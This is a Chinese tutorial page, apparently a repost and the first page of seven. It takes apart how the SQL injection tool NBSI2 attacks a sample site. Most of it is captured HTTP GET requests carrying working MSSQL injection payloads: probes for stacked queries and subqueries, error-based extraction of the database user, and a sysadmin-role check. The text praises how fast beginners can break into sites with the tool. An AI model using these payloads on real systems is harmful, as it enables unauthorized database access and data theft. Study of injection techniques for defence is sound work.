NBSI2内部功能实现大揭谜

来源:互联网 发布:扫描二维码软件下载 编辑:程序博客网 时间:2024/05/16 02:23
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>

NBSI2内部功能实现大揭谜


前段时间SQL注入很流行,用过小竹的NB2的人可能都知道,这个工具接近无敌,菜鸟用了它也能数秒把一个站给黑了,但是不了解其中的注入过程可以说永远都进步不了吧~~


首先声明,我也只是菜鸟一个,正好最近在研究SQL,随便把NB2的注入过程给研究了一个,所用工具wse,相信大家不会陌生的,网上到处有得下,我给一个地址,http://www.gxgl.com/soft/WSE06b1.zip,这是一个用来监视和修改网络发送和接收数据的程序,可以用来帮助您调试网络应用程序。


废话少说,开工,先在网上随便找一个有SQL注入漏洞得站点www.testdb.net,找到一个注射点:http://www.testdb.net/article_read.asp?id=80

呵呵,www.testdb.net这个网址当然是不存在了。


过程一、取得SQlServer信息

打开nb2,输入地址:http://www.testdb.net/article_read.asp?id=80,选择"get"方式,点"检测"按钮,
取得SQlServer数据库得如下信息:


多句执行:未知
子查询:支持
当前用户:test
用户权限:DB_OWNER
当前库:testdb

用过nb2的人应该都很熟悉上面的内容把~~

%20解释为空格%2B解释为+号,%25解释为%号


HTTP/1.1200OK     //返回成功
HTTP/1.1500InternalServerError

用wse检测Get包信息,如下:

GET/article_read.asp?id=80HTTP/1.1

GET/article_read.asp?id=80%20and%20user%2Bchar(124)=0HTTP/1.1
即:article_read.asp?id=80anduser+char(124)=0 
   char(124)为字符'|'

GET/article_read.asp?id=80;declare%20@a%20int--HTTP/1.1
即:article_read.asp?id=80;declare@aint--
//判断是否支持多句查询

GET/article_read.asp?id=80%20and%20(Select%20count(1)%20from%20[sysobjects])>=0HTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent:MicrosoftURLControl-6.00.8862
Host:www.testdb.net
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:articleid=80%3Bdeclare+%40a+int%2D%2D;SESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即:article_read.asp?id=80and(Selectcount(1)from[sysobjects])>=0
//判断是否支持子查询

GET/article_read.asp?id=80%20And%20user%2Bchar(124)=0HTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent:MicrosoftURLControl-6.00.8862
Host:www.testdb.net
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED

即:article_read.asp?id=80Anduser+char(124)=0
//取得当前用户
user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将

nvarchar的值转成int型,转的过程中肯定会出错,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值”east_asp”转

换数据类型为int的列时发生语法错误,呵呵,east_asp正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。anduser>0


GET/article_read.asp?id=80%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)

=1HTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
User-Agent:MicrosoftURLControl-6.00.8862
Host:www.testdb.net
Connection:Keep-Alive
Cache-Control:no-cache
Cookie:articleid=80+and+%28Select+count%281%29+from+%5Bsysobjects%5D%29%3E%3D0;

ASPSESSIONIDSSTCTTQD=ELLNNEIDCEEANBMOKAMGJGED共7页  1      
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 728x15, 创建于 08-4-23MSDN */google_ad_slot = "3624277373";google_ad_width = 728;google_ad_height = 15;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<script type="text/javascript"><!--google_ad_client = "pub-2947489232296736";/* 160x600, 创建于 08-4-23MSDN */google_ad_slot = "4367022601";google_ad_width = 160;google_ad_height = 600;//--></script><script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
原创粉丝点击